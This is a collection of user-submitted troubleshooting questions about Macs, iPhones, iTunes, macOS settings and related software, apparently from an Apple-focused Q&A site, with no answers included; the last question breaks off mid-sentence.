texts: Prevent Time machine backups from freezing a movie that's playing (from the same disk as time capsule)

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I have Time machine backing up every hour, so it will run inevitably at least once while I'm watching a (totally legally downloaded) movie, which I happen to store in the same external drive as the time capsule, so when it's backing up the reproduction has some hiccups that mess all the video compression for a couple of seconds.
Can I prevent this in an automatic way which doesn't involve manually skipping backups or turning it off every time I watch a movie?


texts: Removing a Gmail account on a computer I'm selling

texts: How do I remove a Gmail account in Apple Mail on a computer I am giving away? I do use IMAP and want to make sure I don't lose any of my emails on my other computer and iPad.


texts: ReFS (NTFS successor) filesystem support

texts:
Wikipedia says of ReFS:

  Resilient File System (ReFS), codenamed "Protogon", is a Microsoft proprietary file system introduced with Windows Server 2012 with the intent of becoming the "next generation" file system after NTFS.

Does MacOS support mounting and read/write access to ReFS?

If so, what are the limitations?


texts: How is the hidden interface bridge100 working?

texts:
This interface bridge100 has been introduced with
Mavericks and exists on Yosemite.
(On Mountain Lion the same kind of mechanism was
taking place with the bridge0 associated with the visible interface: Thunderbolt Bridge).

This interface is related to the starting of Internet Sharing.
When Internet Sharing is off:

$ ifconfig bridge100
ifconfig: interface bridge100 does not exist
$

When Internet Sharing is on:

$ ifconfig bridge 100
bridge100: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICASRT> mtu1500
        options=3<RXCSUM,TXCSUM>
        ether ••My_Ethernet_@MAC••
[...]

But this interface doesn't appear within System Preferences > Network.

Where is the correct documentation about this hidden interface?

How to make this interface appear within the System Preferences > Network list of interfaces?

How is this interface configuration managed?


texts: Is it possible to detect the current power input on a MacBook?

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To the best of my knowledge, MacBooks will still charge if the power supply attached provides less wattage then the laptop was designed for. Is there a way to view the current power input, preferably a simple terminal command, or would that be impossible/always the same for some reason?
If relevant, I have a MacBook Pro (13-inch, 2017, Two Thunderbolt 3 ports), but would like a way that works on other models as well.


texts: in the callhistory.storedata database, table - zcallrecord, what are the values for zdisconnected_cause and what do they mean?

texts: I am looking on an ios device.  The field zdisconnected_cause is an integer field, but I can't find an explanation of what the values of the field mean, or what blanks mean.  Anyone know where a table structure and definitions are located for apple database? Is there a website? A book?


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I just subscribed to iTunes Match and it's currently scanning my library.

I've got a few tracks named as 'track 1', 'track 2', and 'unknown artist'. My plan is to clean up my library (some day). But will iTunes Match be able to rescan the new names of already matched songs?

In other words, will iTunes Match re-sync those songs already synced or will it only sync newly added songs?


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My friend gave me her old iPhone 5 (iOS 10.3.2) which she can't remember the passcode to and I need to factory reset it from iTunes. I have tried doing this by putting the phone into recovery mode and trying to restore it but iTunes wants to update the phone to iOS 10.3.3. Because I have a poor internet each time I try to restore and update, downloading iOS 10.3.3 fails.

Is there a way to restore it without using my internet?

Cheers,


texts: How to modify the transmit queue length (buffer) of the network interface

texts:
How can I set the transmit queue length for a network interface on OS X?  On linux the command would be:

ifconfig en0 txqueuelen 5

but OS X doesn't recognize txqueuelen as a valid option (nowhere mentioned in the man, nor an equivalent).  Where does OS X manage this kind of configuration?

Note: might be similar on BSD system...


texts: I'm trying to disable App Nap for Chrome, but I can't find the checkbox anymore. Anyone know how to disable App Nap for a specific app in 10.13.6?


texts: iCLoud Safari Tabs don't sync between devices

texts:
I have Macbook Air 2015 running Big Sur 11.0.1 and iPhone 6s Plus iOS 14.2 (and it seems that either ios 14 or Big Sur ruined everything because I remember that everything worked perfect on Mojave and ios 13).
I setup everything correctly (https://support.apple.com/en-us/HT202530)
I use the same appleID. Safari is checked in both iOS and MacOS iCloud settings. History works perfect, favorites works perfect. But I don't see on my iPhone which tabs are opened on Mac and the other way.
I rebooted both devices, I signed out and signed in back on both devices and nothing helps me.
Noticed another funny thing: when I open Safari on an iPhone - on Mac doc appears Safari icon for iPhone. So now I have 2 Safari icons in Dock - on for Mac and another one for ios. And when I click on ios icon - it opens the current webpage opened on an iphone. So icloud works, but why I can't see ALL tabs opened on any device like before?


texts: External Hard Disk Drive Not Showing Under 'Devices'

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I have just updated my OS to MacOS Sierra. I have connected my external Hard Disk Drive (HDD) and it is not displaying under 'Devices' in my Finder window. It worked fine before the update.

I am using a MacBook Pro With Retina (Late 2013), running MacOS Sierra (Version 10.12). My external HDD is a SeaGate Slim SL Media (500GB).

The external HDD shows up in the Disk Utility application. It also shows up on the About This Mac > System Report > USB. I am not sure what is wrong, the external HDD is identified but does not display for use in the Finder window.

I have read that it could possibly be in sleep mode and putting the MacBook to sleep (whilst connected to the external HDD) and waking it up again should fix the issue. However, this did not work. Nor did restarting my MacBook. It was also mentioned elsewhere that it may require extra power, so I attached the power adaptor to my MacBook and still, no success.

I do not wish to erase the contents of the external HDD.

Is there a way to get my external HDD to be working as expected with my MacBook?

Thank you very much in advance.


texts: iPhone 4s asking for old Apple ID but nowhere to type code

texts: My phone was disabled so I connected it with iTunes. We unlocked it and now it is requesting the old Apple ID. I don't know the old one but my brother made a password reset, and now it gave us a code but there is nowhere to type it in on the phone. The screen didn't reset for us to type in the code. What do I do? Of iPhone 4s


texts: Fine to keep macbook on power for unlimited time?

texts: I just got a used Macbook Pro (retina) 2012 running El Capitan. I am keeping it charged and on all the time. Is there any harmful effect from doing so on the battery in the long term?


texts: Hide AppDelegate.scpt source code for macOS application - Xcode

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I have just finished building an Applescript Application with Xcode and I'm ready for exporting the whole thing.

As this app is not made for the App Store, but private distribution, I have followed this guide to export the .app to my mac.

Upon looking at the resources folder (Application.app/Contents/Resources) I am able to see the AppDelegate.scpt file containing the source code for this application.

This is my first application that I am exporting and my question is:
1. How do I hide/remove or garble the source code so that an ordinary user would not be able to see its contents?
2. What is the conventional way that everyday programmers export their application without revealing the source code (Xcode specific)?

Please help me understand so that I can deploy the app. Thanks in advance.


texts: Lock folder and all its contents such that it is temporarily read-only

texts:
I want to lock a folder from modification, which includes all its contents. I thought that this could be accomplished with the "Get Info" window and selecting the "Locked" checkbox, but this does not affect the contents of the folder.

I am on an iMac running macOS Catalina 10.15.4


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I cannot download apps from the app store.
I am running Mojave and do not want to upgrade
I have already tried to do the following:

Sign in and out of my app store account
Delete any app store cache files
Kill any app store process and tried again
Reinstalled Mojave
Installed from a backup
Tried to install apps on a different user

Any ideas? Thanks!


texts: Miniaturise all windows with AppleScript

texts:
tell application "System Events"
    set mywindows to windows of (processes where background only is false)
    repeat with theItem in windows of (processes where background only is false)
        set miniaturized of theItem to true
    end repeat
end tell

I get
error "System Events got an error: Can’t set miniaturized of UI element to any." number -10006 from miniaturized of UI element to any


texts: Has anyone else been able to find out why Back to my Mac isn't working in Yosemite?

texts:
After upgrading to Yosemite, I can no longer see my other computers that I was able to access with Back to my Mac, under previous OS X versions (while I am away from home - usually accessing my home computer(s) from work).

As each one was upgraded to Yosemite (10.10), each one in turn "disappeared" from being accessible by Back to my Mac. I'm pretty sure its the O/S, but the question is - why?

I didn't change anything, they just don't appear in Finder anymore, but my computers still on Mavericks do appear.  There's also an issue with the local screen sharing, as shortcuts that were created and working under 10.9, are no longer working in 10.10.  I am forced to open Finder and connect that way.  I re-saved the shortcut from screen sharing, but it still doesn't work.

I have the Airport Extreme 802.11ac, firmware 7.7.3

I have tried the Apple suggested steps with no success.

I'd love to hear from others who can verify this, and perhaps know what Apple changed that broke this for me.


texts: Internal keyboard and trackpad stop working after plugging in USB device

texts: I got a new MacBook Pro with OS X Mavericks. When connecting my phone via USB, the internal keyboard and the trackpad immediately stop working -- not always but in most cases. The bluetooth mouse and an external USB keyboard are not affected. Everything else works also fine. The power button of the internal keyboard still works. Reboot helps. Any ideas?


texts:
I recently installed ubuntu on a flash drive, following all of the instructions on the ubuntu website.

When I started up my mac, it didn't appear in the boot menu. Has this happened to anyone else here booting their thumb drives onto their macs? If so, what did you do to fix this?

(I asked this on the Ubuntu forums as well, but I thought that it would be relevant here as well)


texts: Is it possible to run both Xcode 3 and 4 side-by-side on the same machine?

texts: As the title says, can I have both versions of Xcode installed on the same machine?


texts: I have a 6 month old MacBook air. I use it for my online business at least a few hours a day and don't have a wireless mouse so I click the trackpad a lot. Lately it isn't always working when I light tap with my finger. If I use the pad a lot does it break easy?


texts: MacOS X installer and Disk Utility does not recognize the SSD drive on MBA 1,1

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I've tryed to upgrade my original MBA with SSD (item on eBay), but Disk Utility in the MacOS installer does not recognize it. I've tryed to boot from Ubuntu Live USB, but GParted does see it too.

How can I fix it?

EDIT

df -h output:


texts: macOS High Sierra changing permissions of file(s) on NAS when opening

texts:
Hopefully some of you Mac gurus can provide a simple and quick answer.
Here's the question: I have a Mac running High Sierra, connected to a primarily Windows network. On that network is a new Seagate NAS 2-Bay. The NAS has two private and one public folders defined. All the other users are using Windows 10 PCs. It appears that whenever the Mac opens a file on the NAS that file becomes unavailable to anyone else once closed.

I have tried many things and at this time am completely stumped. Hopefully someone can provide some ideas/suggestions.


texts: How do I get F6 on a Mac to click into the address bar on Chrome?

texts:
On Windows I just tap F6 to do the same thing as clicking into the address bar on Chrome, on Mac it does nothing even after I make the F keys "standard function keys" in keyboard settings, but nothing I do makes F6 on the Mac keyboard do the same thing as Command+L.

I've tried going into [Apple icon] > System Preferences > Keyboard > Shortcuts > App Shortcuts > + icon, then added Google Chrome.app and set "Jump to the address bar" as F6 (based on Google's Chrome shortcuts doc), but to no avail.


texts: How to combine two live video feeds with picture in picture

texts: Is it possible to combine the feeds from a USB webcam / IP video stream (iPad) and the built-in iSight camera on my MacBook Pro (early 2011) running Yosemite into one video feed for use in, for example, Skype, but also other applications. My use case is to record myself playing guitar from two angles simultaneously.


texts: How do I get Mountain Lion Calendar to subscribe to iCloud calendar another user invited me to?

texts:
I have been sent an invitation to join another user's calendar.  I have previously been sent calendars by this person and have had to view the source code of the e-mail where I found a URL that I pasted into Calendar's File:New Calendar Subscription box.  However, unlike previous times, when I try to subscribe I get an error saying:

There was an error subscribing to the calendar.

The data downloaded from https://www.icloud.com/calendar/share/#... isn't valid.

I have noticed that the previous calendars that I subscribed to had a slightly different e-mail text ("Subscribe to my calendar... You've been invited to an iCloud calendar" vs. "Join XXX calendar? People will see your Apple ID if you join.", as well as a slightly different URL (webcal://p04-calendarws.icloud.com), but they are both iCloud.  I tried replacing https:// with webcal:// to no avail.

I don't understand the part about an Apple ID and iCloud.  I've got a Mac and an Apple ID (why does it want to share that with everyone else anyway?), but I don't have iCloud. I do have Calendar which is where all my other subscribed calendars are, so why can't I just subscribe to this calendar just like all the previous calendars they sent me?  I'm already subscribed to all their other calendars so it sounds like it would be a big pain if I have to go some place completely different just to see this new calendar.

Update:
The person who sent me the invitation said they have no idea what they did differently this time, so if anyone could shed light on that instead so they could simply re-send the invitation in a way that I could subscribe that would be an acceptable alternative.


texts: Can I disable mounting of network volumes via afp:// protocol in favor of smb://

texts:
I have a Drobo network file server which insists on offering it's mounts via both afp:// and smb://. Is there any way to force my Macs (they are all running High Sierra) to NEVER mount network volumes via AFP?

There is no way in the Drobo administration to disable AFP. I've talked Drobo Support: it's a "feature we're considering."

To be clear: I understand how to mount it via SMB. There are certain situations (that I seem to be unable to control) where the macs sometimes automount via AFP. I think it might have to do with remembered "open recent" files -- but I'm guessing. So I want to break/disable AFP entirely. I'll take a failure to mount, instead of the problems I get when it automounts with AFP. (files don't save, apps and the finder lock up, etc)


texts: How to exit Assembler back to Applesoft Basic on Apple II GS

texts: When writing in Applesoft Basic on my Apple II GS, a crashed program occasionally dumps me not at the Applesoft Basic prompt (]), but at the assembler prompt instead (*). How can I get out of the Assembler and back to Basic (no pun intended)?


texts: How to reach QHD resolution (external display) on MacBook Pro mid 2012 non-Retina

texts:
I have a MacBook Pro mid 2012 non-Retina (specs) and an AOC monitor with QHD res, but I cannot get it to reach over 1080p. On the Apple page linked before there is this:

  Dual display and video mirroring: Simultaneously supports full native resolution on the built-in display and up to 2560 by 1600 pixels on an external display, both at millions of colors.

But how can I reach that. Right now I am using a Mini DisplayPort to HDMI adapter and I guess it could be it that limits the resolution. I also used the DVI port instead of HDMI but nothing changed. Any advice?


texts: Using `say` to read terminal output from a command line tool?

texts:
I'm not sure if this is possible. I'm using a command line log parser for an MMO I play. Information is shown in Terminal window but I have to read it while playing rather than hear it while playing. I'd like to program Terminal to say the output as it's being streamed to the screen.

I'm new to the command line and Terminal-- is there a way to do this?


texts: Search results in Notes on macOS always empty

texts:
No matter the search term, the search results in the Notes app on macOS are always empty:

This has been going on for a while. On iOS, the same searches work fine.

I have tried turning off iCloud, restarting, and then turning it on again. Didn't help.

Any ideas how to debug and solve this?

I'm on El Capitan.


texts: How do you disable VI-like behavior in macOS terminal?

texts:
When I open a terminal and type
asdf asdf asdf asdf

And hit control-u, the line gets wiped. If I type that line again, but then use option-left to skip a word back, then control-u doesn't wipe the line at all.
To begin with I was having trouble with option-right not skipping words forward. So I thought I fixed it with these terminal settings. But honestly I have no idea what these ascii codes do, and what state my terminal gets into.
Do ascii codes that skip words forward and back without breaking the terminal exist? What are they?

FYI Looking at set -o I see that VI mode is off.
macbookpro% set -o | grep ' on'
combiningchars        on
interactive           on
login                 on
shinstdin             on


texts: Macbook Pro stuck booting after Sierra 10.12.1 update

texts:
I have an MBP mid-2010, which had Sierra 10.12 running. I updated to 10.12.1 and now the MBP gets stuck booting at the screen with the Apple logo with the progress bar at 100%.

I have already tried recovery mode with first aid disk repair, but the MBP gets stuck booting afterwards as well.

What can I do to fix this?


texts: Do I need a serial number to reinstall Mac OS X?

texts: I need to reinstall the OS but here's the issue: I don't have the original disc that came with the computer in question.  However, I have a disc that came with another computer.  Is it possible to install Mac OS X on the first computer using the disc I have? Do I need a serial number for this?


texts: automatically convert low-quality tracks when added to iTunes library

texts: When I add new tracks to iTunes, some of them are too low-quality to add to iCloud.  I have to manually convert them to AAC.  How can I have iTunes automatically do this so all of my tracks can go straight to the cloud?


texts:
sudo ls

All of a sudden it says password incorrect. I am 100% sure of my password. I don't know what happened. Hacked ?


texts: Can Macs connect to VPNs with MS-CHAPv2?

texts:
I've been provided directions with how to connect to a VPN on a remote server, but it's just one of those simple "Connect to network, VPN, etc." wizards from Microsoft Windows that establishes a VPN over the WAN Miniport interface. I can connect just fine on Windows.

However, how would I go about this on a mac? I've tried configuring a VPN through the network preferences, but there's no settings anywhere to specify MS-CHAPv2, so authentication fails using all other methods that Mac supports.

Is there any way that I could get this working? I've been looking online but can't really find anything solid. Do I need to find some random VPN client or something that supports this? A little annoyed and stumped here and any help would be greatly appreciated.


texts: iPhone 5 show iOS old iOS (9.3.5) as available update not the latest iOS (10.0)

texts:
My iPhone 5S shows iOS 10.0 in available update but for iPhone 5 it shows different. It shows iOS 9.3.5.

What's is the problem ?


texts: Cannot get more than 29.88 Hertz refresh rate from 2016 MacBook Pro and Acer XR342CK monitor

texts:
I'm connecting to an Acer XR342CK with a 2016 MacBook Pro 13 via HDMI cable. The monitor is capable of 75 Hertz at full resolution and the laptop is capable of 60 Hertz. However, when connected either through the Apple USB-C Multiport adapter of the USB-C Dock from CalDigit, the the Mac shows a Refresh Rate of 29.88 Hertz (NTSC):

I tried the DisplayPort cable that came with the monitor and when I connected it to the MacBook Pro through the CalDigit USB-C dock, it caused my laptop to freeze up then reboot. This happens every time I connect it.

If I lower the resolution from 3440 x 1440 to 2560 x 1080 the Refresh Rate will default to 60 Hertz, but will be greyed out still. Something very strange is going on with this setup.

There are no Mac drivers for this monitor. Is there anything I can do to get the full 60 Hertz, which both the monitor and laptop support?


texts: What does "Remove Alerts / Attachments / Reminders" mean in iCal?

texts:
I'm subscribing to a Google calendar using the new, lovely, Corinthian leather iCal on Lion, and it's asking me if I want to remove alerts, attachments, and reminders:

What do these options mean?


texts: How do I switch to Australian Store on my iPad, it appears to have gone to the French store and is telling me I can't update unless I switch to Australian store, I don't know what to do as I have checked in settings etc.


texts: Is it possible to stream a YouTube video in Powerpoint for Mac 2011?

texts:
I would like to have a video in a Powerpoint presentation, without having to download the file.
So just insert a link to youtube or vimeo, and then being able to play it directly form the presentation.
Is this possible at all?

Edit: I did mean "stream" a YouTube video


texts: I'm trying to remove an auto login to a dead share but it won't let me do it, any suggestions? There is an exclamation warning after the name of the server in my Users & Groups > Login Items in my preferences:


texts: (Airpods) Very poor connection/choppy quality between Airpods and Macbook

texts:
Ever since I updated my OS to High Sierra 10.13.6, I've been experiencing very choppy connection between my Airpods and Macbook. If I'm sitting right in front of my computer, the sound seems to cut out randomly- sometimes when I move my head slightly or walk a few steps away. However, they work completely fine when I pair the Airpods with my iPhone.

I've seen similar posts about this issue on this forum and others from google searching, but most of them are about a year old and looked unresolved. I've tried all the tips I've seen posted- I've reset the bluetooth module and always switch the Sound Input to "External Microphone" instead of the airpods, but it didn't help fix the choppy quality. (Links below)

AirPods: Extremely poor mic quality on Mac

AirPods choppy/unreliable when connected to Mac, but not iPhone

My guess is there is interference so I opened About This Mac > System Report > Bluetooth > Devices (Paired, Configured, etc.) > Airpod

Bluetooth Paired Info-   Apple Bluetooth Software Version:  6.0.7f10

Devices (Paired, Configured, etc.):
Myself’s AirPods:
Major Type: Audio
Minor Type: Headphones
Services:   Handsfree, Wireless iAP, AVRCP Controller, Audio Sink, AVRCP
Target, AAP Server
Paired: Yes
Configured: Yes
Connected:  Yes
Manufacturer:   Apple (0x6, 0x03)
Firmware Version:   0x0372
Class of Device:    0x04 0x06 0x240418
RSSI:   -72
Role:   Master
Connection Mode:    Sniff Mode
Interval:   441.25 ms
EDR Supported:  Yes
eSCO Supported: Yes
SSP Supported:  Yes

Is there a better tool to graph or detect if interference is to blame for bluetooth audio being choppy?


texts: macOS Big Sur System Preferences Notifications Customize

texts: I am running os 11.2.3 and wanted to customize notifications from system preferences. Specifically, software update notifications show up when there is a new version to upgrade to. However, they always show up as alert notifications. I would like them to display as banners, so it will disappear even if I do not dismiss it. Looking at System Preferences --> Notifications, there is no option for 'System Preferences' unlike other apps (Safari, Messages, etc.). How can I change the settings/format for the system preference notifications? Thank you in advance.


texts: Password protect disk images on Mac from deleting

texts: I know that I can create a password protected dmg file with more folders in it. But I want to know if there's a way through which I can prevent any action on the dmg file itself. Because right now, if anyone wants to delete the dmg file - which contains a whole lot of backup - they can do so without having to enter the password. I want to have to enter a password to rename, delete, move the dmg file without it having opened.


texts: Where can I find dashboard widgets on OS Catalina?

texts:
Here's what I'm talking about:

I couldn't find it anymore, I used to set it as a hot corner in System Preferences > Mission Control, I tried to search the keyword "Dashboard" in System Preferences but ended with no luck. Did Apple remove Dashboard on OS Catalina? If not, where can I find it? Thanks a lot!

Edit:
Seems like dashboard is removed from OS Catalina (thanks to the comment linking to other similar questions!), Is there any way to put dashboard widgets on desktop like it's shown in this video?

UPDATE:

Is there a way to get the Converter Tool somehow? (the widget that can convert currency, length, pressure, weight all in one!) Recommendation of similar Apps is welcomed too!


texts: Can I still get charged for data if I dont use my sim card?

texts: First of all my broadband is orange and it doesn't tell you when it's gone over the mb so I pay around £20 a month and the end of last month it came up to £65 so mostly I use the phone at work and at home so I thought that if I took out the sim and use the wifi, would I still get charged for that if I took out the sim?


texts:
Obsessed with how much space left in Macbook Air 128GB SSD,  I find myself frequently checking the storage information by going to "About this mac" ==> "More info" ==> "storage".

Is there a shortcut to do that? keyboard shortcut or desktop shortcut for example.


texts: iWork and iLife are not free after reinstall

texts:
I recently bought a Macbook Pro 13" Early-2015 from a guy who used it only once and then reinstalled it for selling (already upgraded to the latest El-Capitan).
After I set up my Apple ID I couldn't download the iLife & iWork apps for free, they all cost money..
I have them all free on my iPhone though.

What are the necessary steps to be able to download them for free? I know it should be on every Mac after 2013. The one I bought is 2015.

The Macbook was purchased in an official Apple Store in the United States, I have the receipt.

Thanks!


texts: I am looking for a shortcut to copy the path of a file in Mac OS. I generally require it to copy paste in editor.


texts: Postgres is running, but psql won't connect to it

texts:
I have Postgresql@11 installed and running.

% brew services restart postgresql@11
Stopping `postgresql@11`... (might take a while)
==> Successfully stopped `postgresql@11` (label: homebrew.mxcl.postgresql@11)
==> Successfully started `postgresql@11` (label: homebrew.mxcl.postgresql@11)

But

% psql -d template1
psql: could not connect to server: No such file or directory
    Is the server running locally and accepting
    connections on Unix domain socket "/tmp/.s.PGSQL.5432"?

And

% which psql
/usr/local/opt/postgresql@11/bin/psql

What's the matter?


texts: macOS prompts to log in to Google accounts on every wake

texts:
I have several Google accounts set up in System Preferences > Internet Accounts on macOS 10.14.5. The Google accounts have two-factor authentication. I'm able to log in the accounts via a Safari window, and then use them with Mail and Calendar without problems.

Until my Mac sleeps.  On wake, it demands that I log the accounts in again, requiring several rounds of password and two-factor authentication.

I have tried using Google's app-specific passwords, but they aren't accepted at the login prompt that pops up from System Preferences > Internet Accounts.

Is there a method to keep macOS logged in indefinitely?

Note: This does not appear to have the same cause as Can't login with Google using Internet Accounts — the answers there did not solve the problem for me.


texts: 'Find My Mac' says that it is already in use, how to fully remove previous configuration?

texts:
I posted a question earlier about using Find My Mac while my computer was sleeping, and after doing some research I noticed that I had 'Wake for network access' already enabled. So when I went to check iCloud again, I noticed it saying this (Find My Mac already in use):

If I check the box, I then get this alert message:

The only thing I can think of, is that I may have signed in with another iCloud account on this computer (I have an old iTunes account, plus a mobile me converted account that I actually use).

bmike mentioned he had see registration issues with Lion updates, and not sure if this was related to something similar, or to possibly linking this computer with another iCloud account originally. I want that original one gone, and only my new one to go.

My question is: Is there any where else I should look for remnants of this 'other' iCloud account, to not cause other issues? I know this was working at some point, even recently, so it confuses me on what happened here.

Update: So I went ahead and checked this, clicked Continue below, and it appears to work fine. I would still like to find what ID or anything else that would cause this though to help understand it if it happens again.


texts: MacBook Pro 2018 in 24/7 nightmode - cursor on external monitor not in nightmode

texts:
Just got a MacBook Pro 2018. Upgraded from the 2017 MacBook Pro

I use my MacBook Pros in nightmode 24/7 since the bluelight hurts my eyes. I enabled nightmode on my new macbook pro and hooked it up to an external monitor but the cursor is unaffected by the nightmode changes.

I checked my 2017 and 2012 macbook pro and both change the cursor as well on the external monitor, just not the new macbook pro...

Any ideas?


texts:
Other people have asked about this but I did not see anything quite like what happened to me since the fixes seems to apply to later models.
I use a MacBook Pro (13-inch, Mid 2012) - 8 GB RAM. The model ID is MacBookPro9,2 Running Catalina 10.15.6
Anyhow, I am using my mac one morning and the screen goes black as though it were going to sleep, but it did not respond to my keyboard taps and clicking the trackpad. I tried a restart via power button and it didn't seem to work, I then unplugged it from the power cord and tried again and it restarted -- no error message on restart, saying it had restarted because of a problem. It just went to the login screen and restarted as though nothing had happened -- my apps and windows were all open as before.
This has happened a few times and it worries me a bit. But the intervals are random, I don't recall a similar system for some months.
I tried to attach the system log but it seems to be too long (it went above the 30,000 character limit). Other people who have noted this seem to be saying it's an artifact of Catalina. Any ideas?


texts:
back in the day (2006-07), before the Intel Mac days, I used an application called NuFile which let me create a "new file" like Windows on the fly. Ever since i've been searching for alternative but have been unsuccessful.

Do you guys know of any new apps that will allow this?


texts: How can I access Office 365 (Private) Groups using Apple Mail?

texts:
My company just started using Office 365 Private Groups instead of distribution lists.  While distribution lists worked fine in Mail.app, I can't seem to find any way to access Private Groups without using the Office 365 web portal.

Is there a way to access my Office 365 Private Groups from within Mail.app?


texts: How can I cancel a pending payment in App Store?

texts: I have accidentally subscribed yearly to an app, and now I removed the subscription but they're still trying to take the payment (no sufficient funds). Can I cancel the payment anyhow?


texts: How do I take screen shots on DVD movies and protected content?

texts: I saw this awesome movie that I watched on DVD and wanted to take a screen shot of it, but when I did, it was transparent. I could only see my desktop taken but not the movie. Is there a specific program or hack that could let me take a screen shot of that content? I tried every screen shot software, but still leaves it transparent.


texts: Restore app windows to their original Spaces

texts:
When re-opening an app, all of its windows end up on the first Space, regardless of their original placement:

Original layout: one app has two windows open, each in a separate Space

+-----[ Space 1 ]-----+  +-----[ Space 2 ]-----+
|                     |  |                     |
|  [Chrome window 1]  |  |  [Chrome window 2]  |
|                     |  |                     |
|                     |  |                     |
+---------------------+  +---------------------+

Incorrect layout after app restart: both windows are in the first Space

+-----[ Space 1 ]-----+  +-----[ Space 2 ]-----+
|                     |  |                     |
|  [Chrome window 1]  |  |                     |
|  [Chrome window 2]  |  |                     |
|                     |  |                     |
+---------------------+  +---------------------+

Is there a setting or an app that would make it possible to have apps restore their windows in the Spaces they were originally located before the app was quit?


texts: How can I delete "Passenger" from my "System Preference"?

texts:
About 2 years ago I tried and installed Phusion Passenger Preference Pane for OS X and now I need to delete its "Passenger" icon from my System Preference. There's no uninstall option, how can I delete it?

I use Mac OS X 10.5.8


texts: System Audio is picked up on microphone when using headphones (discord, skype, macOS), how do I turn this off?

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Specs: macOS Sierra 10.12.5, JBL in-ear headphones with microphone

Ever since I got my new headphones, people on Discord and Skype could listen to me watching videos and listening to music, which is pretty annoying. At first I thought this was the fault of those applications, but when checking the input settings of Sound Preferences I saw that macOS was picking up on this as well.

I have tried changing settings in the Audio/Midi configuration but my headphones don't show up as a new device but changes the settings of my built-in microphone (from internal microphone to external microphone), so I can't select the mac's original built-in microphone.

Can someone please help me with this problem?

Pictures for reference:

Before plugging in my headphones:

After plugging in my headphones:


texts:
About two weeks ago, my lightning cable was torn a little but it was working so I thought I don't need to replace it immediately. A few days ago, after a night of charging, when I woke up in the morning I noticed that my charger and phone got very hot, and it didn't charge to %100, it just charged to %60 or something like that. I thought it happened because of lightning cable.

Next day, I used my mother's charger and cable, which are working properly, and it charged my phone without any problem. Yesterday, I bought a new lightning cable from Apple and attached it to my charger, I left the phone for charging for two hours, then I saw that charger and phone got hot, charged to %60, again. And I noticed that charger is making a noise like buzz.

Yesterday evening, I charged my phone to %100 with my mother's charger and cable then unplugged the device, didn't left the device charging all night. This morning, I noticed that battery decreased to %83 from %100, in stand by mode. And after an hour of using the phone (web browsing, snapchat, messaging etc.) it didn't even decreased %1. It is still %83. By the way, my charger still charges when plug it to phone but I think that it stops charging when it gets hot.

So, there are two questions I want to ask:
Did my charger get out of order and why?
Did my phone's battery get harmed by my charger (getting hot, not charging properly, buzzing)?
Thanks for your help.


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My friend's iPhone just faded out today. The screen is just white when she turns it on. The apple store told her she is going to lose everything... this is stupid because I'm 100% positive a hard drive failure has not occurred. Alarms are still going off. Reminders work. Notifications are being received. We know this because each has it's own respective sound that is getting sporadically emitted.

When I hook the iPhone up to her computer to backup it's contents, it wants us to enter the phone's password. We are not able to simply enter the password into the blank white screen. The phone doesn't registered this touch input. Moreover, we've tried holding down every combination of buttons imaginable to make the screen responsible again to no avail. So I'm inclined to say that the screen completely failed.

So here's my question. Is there a way from the computer that I can mimic touch input on the iPhone to input the password to initiate the backup process? Is there another way to access the phone's file system recover it’s contents? The phone has been rooted, so it needs to be a legit strategy. The last iCloud backup was too long ago, in case anyone asks.

Thank you for any help,
Nick


texts: What is the purpose of "paste newlines as carriage returns" in the Terminal app?

texts:
In the settings of the Terminal app, in the advanced tab, there is an option to "Paste newlines as carriage returns" which is enabled by default.

What is this good for?


texts: How can I get vi-like keybindings in other Mac applications/text entry fields than just Terminal?

texts:
Possible Duplicate:
  Is it possible to make all text fields in OS X editable with Vi keybindings?

I use vim a lot, and like the keybindings. I'm aware that I can get vi-like keybindings in the shell in Terminal.app by adding the following to my ~/.inputrc:

  set editing-mode vi

However, I'd like to have vi/vim keybindings in other OS X apps - ideally in every text entry fields across all apps. Is there is a practical way to achieve this?

I'm using OS X 10.8.


texts: Mac Mail downloads my entire gmail account can i just get the last 30 days?

texts:
Mac Mail every few days i find that it's downloading my entire account all over again. That's like 8 years work of email - which is really beginning to annoy me.

Can I configure mail to only get recent mail?


texts: How to render a specific character as transparent in terminal

texts:
I'm looking for a way of rendering a single character / escape sequence as transparent in iTerm2 or, if there is one, any other terminal emulator. With transparent I mean that it should show the background behind the window rendering the terminal.

The reason behind this is a purely astethic one: I'd like to use this special character with tmux to render the split views so that my panes are separated by, frankly, my wallpaper. Using tmux for panes seems so much more flexible than using a (tiling) window manager for opening multiple terminals - but one of the asthetic drawbacks is that I cannot have a gap between the panes.

While I'm pretty much certain that there is no easy answer to that, I'm also very open to hear any pointers into a direction where a certain terminal application could be modified to support such a behavior in an easy way.


texts: Use AppleScript to find the currently playing song (and other metadata)

texts: The audio section of the touch bar can automatically detect which app is playing audio, and adds media controls to play/pause, skip, and seek through any audio. As an example, this works for Quicktime, Spotify, and even YouTube audio from browsers like Google Chrome. How can I use AppleScript to mimic these functions? I want to get the name of the song, be able to play/pause, skip, and even seeking if that is possible.


texts: Logic Pro X 10.1 update button does nothing

texts: I have Logic 10.0.7 and got a notice to update to 10.1. I press on the Update Now button but nothing happens. I have OS X 10.9.5 installed. What should I do?


texts:
iTunes cut them off and move onto the next song, usually after a minute.Some tracks plays fine until end some have this problem. The songs all play fine in any other media player. I'm on Yosemite and the latest version of iTunes. I have a friend that has the same problem. He has more than 10k song, i have more than 9k.
Is there anyway I can fix this? Anyone having the same problem? Thanks


texts: My original 4s had issues with phone calls. Half the time calls were made the person on the other end couldn't hear me. Took to Apple store and they gave me a new phone. I've had it 5 days and it has more issues then my 1st one. 50% of the time I make calls neither person can hear each other. I can't even hear it dialing the #, but I watch the call timer run as it does connect. Tried restoring the phone, but still no luck. Is it a hardware issue or AT&T issue? Anyone know?


texts: Copying an audiobook by chapter to play somewhere else

texts: I purchased an audiobook from Audible and downloaded it to my iTunes account. I'm a teacher and with distance learning, I need to post certain chapters on Google Classroom for the kids to listen to the book. How do I do that? I see that the book is broken into chapters, but I can't see how to copy them into a different file that I could upload to Classroom. I'm on a MacBook Air 10.14.6 running Mojave.


texts: App submission response: "Post-dated Code Signature"

texts:
I uploaded my app yesterday.  Its status turned to "Waiting for Review" from "Upload Received" today, but I have also received this e-mail:

  Dear developer,

  We have discovered one or more issues with your recent delivery for
  "MyAppName". Your delivery was successful, but you may wish to correct
  the following issues in your next delivery:

  Post-dated Code Signature. Code signature identified by
  'mybundle.myapp' in bundle 'mybundle.myapp' has a timestamp of
